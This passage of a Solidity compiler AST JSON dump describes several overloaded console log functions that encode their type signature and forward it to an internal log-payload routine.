view"}},"id":17125,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12801:80:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":17126,"nodeType":"ExpressionStatement","src":"12801:80:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"12734:3:14","parameters":{"id":17115,"nodeType":"ParameterList","parameters":[{"constant":false,"id":17110,"mutability":"mutable","name":"p0","nameLocation":"12752:2:14","nodeType":"VariableDeclaration","scope":17128,"src":"12738:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":17109,"name":"string","nodeType":"ElementaryTypeName","src":"12738:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":17112,"mutability":"mutable","name":"p1","nameLocation":"12761:2:14","nodeType":"VariableDeclaration","scope":17128,"src":"12756:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":17111,"name":"bool","nodeType":"ElementaryTypeName","src":"12756:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":17114,"mutability":"mutable","name":"p2","nameLocation":"12773:2:14","nodeType":"VariableDeclaration","scope":17128,"src":"12765:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":17113,"name":"address","nodeType":"ElementaryTypeName","src":"12765:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"12737:39:14"},"returnParameters":{"id":17116,"nodeType":"ParameterList","parameters":[],"src":"12791:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":17148,"nodeType":"FunctionDefinition","src":"12894:163:14","nodes":[],"body":{"id":17147,"nodeType":"Block","src":"12960:97:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c616464726573732c75696e7429","id":17140,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"13010:26:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_07c81217b9c48682941345dce61bbd916a12dd883642c9077891090a71c93a13","typeString":"literal_string \"log(string,address,uint)\""},"value":"log(string,address,uint)"},{"id":17141,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17130,"src":"13038:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":17142,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17132,"src":"13042:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":17143,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17134,"src":"13046:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_07c81217b9c48682941345dce61bbd916a12dd883642c9077891090a71c93a13","typeString":"literal_string \"log(string,address,uint)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":17138,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"12986:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":17139,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"12990:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"12986:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":17144,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12986:63:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":17137,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"12970:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":17145,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12970:80:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":17146,"nodeType":"ExpressionStatement","src":"12970:80:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"12903:3:14","parameters":{"id":17135,"nodeType":"ParameterList","parameters":[{"constant":false,"id":17130,"mutability":"mutable","name":"p0","nameLocation":"12921:2:14","nodeType":"VariableDeclaration","scope":17148,"src":"12907:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":17129,"name":"string","nodeType":"ElementaryTypeName","src":"12907:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":17132,"mutability":"mutable","name":"p1","nameLocation":"12933:2:14","nodeType":"VariableDeclaration","scope":17148,"src":"12925:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":17131,"name":"address","nodeType":"ElementaryTypeName","src":"12925:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":17134,"mutability":"mutable","name":"p2","nameLocation":"12942:2:14","nodeType":"VariableDeclaration","scope":17148,"src":"12937:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":17133,"name":"uint","nodeType":"ElementaryTypeName","src":"12937:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"12906:39:14"},"returnParameters":{"id":17136,"nodeType":"ParameterList","parameters":[],"src":"12960:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":17168,"nodeType":"FunctionDefinition","src":"13063:174:14","nodes":[],"body":{"id":17167,"nodeType":"Block","src":"13138:99:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c616464726573732c737472696e6729","id":17160,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"13188:28:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_e0e9ad4f87059a51cce5555e129ca819f7e5d52e9c65a4e175882207ee47d634","typeString":"literal_string \"log(string,address,string)\""},"value":"log(string,address,string)"},{"id":17161,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17150,"src":"13218:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":17162,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17152,"src":"13222:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":17163,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17154,"src":"13226:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_e0e9ad4f87059a51cce5555e129ca819f7e5d52e9c65a4e175882207ee47d634","typeString":"literal_string \"log(string,address,string)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":17158,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"13164:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":17159,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"13168:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"13164:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":17164,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"13164:65:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":17157,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"13148:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":17165,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"13148:82:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":17166,"nodeType":"ExpressionStatement","src":"13148:82:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"13072:3:14","parameters":{"id":17155,"nodeType":"ParameterList","parameters":[{"constant":false,"id":17150,"mutability":"mutable","name":"p0","nameLocation":"13090:2:14","nodeType":"VariableDeclaration","scope":17168,"src":"13076:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":17149,"name":"string","nodeType":"ElementaryTypeName","src":"13076:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":17152,"mutability":"mutable","name":"p1","nameLocation":"13102:2:14","nodeType":"VariableDeclaration","scope":17168,"src":"13094:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":17151,"name":"address","nodeType":"ElementaryTypeName","src":"13094:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":17154,"mutability":"mutable","name":"p2","nameLocation":"13120:2:14","nodeType":"VariableDeclaration","scope":17168,"src":"13106:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":17153,"name":"string","nodeType":"ElementaryTypeName","src":"13106:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"13075:48:14"},"returnParameters":{"id":17156,"nodeType":"ParameterList","parameters":[],"src":"13138:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":17188,"nodeType":"FunctionDefinition","src":"13243:163:14","nodes":[],"body":{"id":17187,"nodeType":"Block","src":"13309:97:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c616464726573732c626f6f6c29","id":17180,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"13359:26:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_c91d5ed4480e0b3323f998bcee9594aa98173c7324b015a4713a7c8429afd0b8","typeString":"literal_string \"log(string,address,bool)\""},"value":"log(string,address,bool)"},{"id":17181,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17170,"src":"13387:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":17182,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17172,"src":"13391:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":17183,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17174,"src":"13395:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c91d5ed4480e0b3323f998bcee9594aa98173c7324b015a4713a7c8429afd0b8","typeString":"literal_string \"log(string,address,bool)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":17178,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"13335:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":17179,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"13339:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"13335:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":17184,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"13335:63:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":17177,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"13319:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":17185,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"13319:80:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":17186,"nodeType":"ExpressionStatement","src":"13319:80:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"13252:3:14","parameters":{"id":17175,"nodeType":"ParameterList","parameters":[{"constant":false,"id":17170,"mutability":"mutable","name":"p0","nameLocation":"13270:2:14","nodeType":"VariableDeclaration","scope":17188,"src":"13256:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":17169,"name":"string","nodeType":"ElementaryTypeName","src":"13256:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":17172,"mutability":"mutable","name":"p1","nameLocation":"13282:2:14","nodeType":"VariableDeclaration","scope":17188,"src":"13274:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":17171,"name":"address","nodeType":"ElementaryTypeName","src":"13274:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":17174,"mutability":"mutable","name":"p2","nameLocation":"13291:2:14","nodeType":"VariableDeclaration","scope":17188,"src":"13286:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":17173,"name":"bool","nodeType":"ElementaryTypeName","src":"13286:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"13255:39:14"},"returnParameters":{"id":17176,"nodeType":"ParameterList","parameters":[],"src":"13309:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":17208,"nodeType":"FunctionDefinition","src":"13412:169:14","nodes":[],"body":{"id":17207,"nodeType":"Block","src":"13481:100:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c616464726573732c6164647265737329","id":17200,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"13531:29:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_fcec75e0902c9d61eded5d9f2eed16d5b0f2cd255fe6fa77733f59e1063823e8","typeString":"literal_string \"log(string,address,address)\""},"value":"log(string,address,address)"},{"id":17201,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17190,"src":"13562:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":17202,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17192,"src":"13566:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":17203,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17194,"src":"13570:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_fcec75e0902c9d61eded5d9f2eed16d5b0f2cd255fe6fa77733f59e1063823e8","typeString":"literal_string \"log(string,address,address)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":17198,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"13507:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":17199,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"13511:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"13507:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":17204,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"13507:66:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":17197,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"13491:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":17205,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"13491:83:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":17206,"nodeType":"ExpressionStatement","src":"13491:83:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"13421:3:14","parameters":{"id":17195,"nodeType":"ParameterList","parameters":[{"constant":false,"id":17190,"mutability":"mutable","name":"p0","nameLocation":"13439:2:14","nodeType":"VariableDeclaration","scope":17208,"src":"13425:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":17189,"name":"string","nodeType":"ElementaryTypeName","src":"13425:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":17192,"mutability":"mutable","name":"p1","nameLocation":"13451:2:14","nodeType":"VariableDeclaration","scope":17208,"src":"13443:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":17191,"name":"address","nodeType":"ElementaryTypeName","src":"13443:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":17194,"mutability":"mutable","name":"p2","nameLocation":"13463:2:14","nodeType":"VariableDeclaration","scope":17208,"src":"13455:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":17193,"name":"address","nodeType":"ElementaryTypeName","src":"13455:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"13424:42:14"},"returnParameters":{"id":17196,"nodeType":"ParameterList","parameters":[],"src":"13481:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":17228,"nodeType":"FunctionDefinition","src":"13587:146:14","nodes":[],"body":{"id":17227,"nodeType":"Block","src":"13641:92:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c75696e742c75696e7429","id":17220,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"13691:21:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_3b5c03e061c862e366b964ce1ef4845511d610b73a90137eb2b2afa3099b1a4e","typeString":"literal_string \"log(bool,uint,uint)\""},"value":"log(bool,uint,uint)"},{"id":17221,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17210,"src":"13714:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":17222,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17212,"src":"13718:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":17223,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17214,"src":"13722:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_3b5c03e061c862e366b964ce1ef4845511d610b73a90137eb2b2afa3099b1a4e","typeString":"literal_string \"log(bool,uint,uint)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":17218,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"13667:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":17219,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"13671:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"13667:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":17224,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"13667:58:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":17217,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"13651:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":17225,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"13651:75:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":17226,"nodeType":"ExpressionStatement","src":"13651:75:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"13596:3:14","parameters":{"id":17215,"nodeType":"ParameterList","parameters":[{"constant":false,"id":17210,"mutability":"mutable","name":"p0","nameLocation":"13605:2:14","nodeType":"VariableDeclaration","scope":17228,"src":"13600:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":17209,"name":"bool","nodeType":"ElementaryTypeName","src":"13600:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":17212,"mutability":"mutable","name":"p1","nameLocation":"13614:2:14","nodeType":"VariableDeclaration","scope":17228,"src":"13609:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":17211,"name":"uint","nodeType":"ElementaryTypeName","src":"13609:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":17214,"mutability":"mutable","name":"p2","nameLocation":"13623:2:14","nodeType":"VariableDeclaration","scope":17228,"src":"13618:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":17213,"name":"uint","nodeType":"ElementaryTypeName","src":"13618:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"13599:27:14"},"returnParameters":{"id":17216,"nodeType":"ParameterList","parameters":[],"src":"13641:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":17248,"nodeType":"FunctionDefinition","src":"13739:157:14","nodes":[],"body":{"id":17247,"nodeType":"Block","src":"13802:94:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c75696e742c737472696e6729","id":17240,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"13852:23:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_c8397eb0de34bc3ec2853d625c1649c0c0abb20941c30ba650cc738adade018f","typeString":"literal_string \"log(bool,uint,string)\""},"value":"log(bool,uint,string)"},{"id":17241,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17230,"src":"13877:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":17242,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17232,"src":"13881:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":17243,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17234,"src":"13885:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c8397eb0de34bc3ec2853d625c1649c0c0abb20941c30ba650cc738adade018f","typeString":"literal_string \"log(bool,uint,string)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":17238,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"13828:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":17239,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"13832:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"13828:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":17244,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"13828:60:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":17237,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"13812:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":17245,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"13812:77:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":17246,"nodeType":"ExpressionStatement","src":"13812:77:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"13748:3:14","parameters":{"id":17235,"nodeType":"ParameterList","parameters":[{"constant":false,"id":17230,"mutability":"mutable","name":"p0","nameLocation":"13757:2:14","nodeType":"VariableDeclaration","scope":17248,"src":"13752:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":17229,"name":"bool","nodeType":"ElementaryTypeName","src":"13752:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":17232,"mutability":"mutable","name":"p1","nameLocation":"13766:2:14","nodeType":"VariableDeclaration","scope":17248,"src":"13761:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":17231,"name":"uint","nodeType":"ElementaryTypeName","src":"13761:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":17234,"mutability":"mutable","name":"p2","nam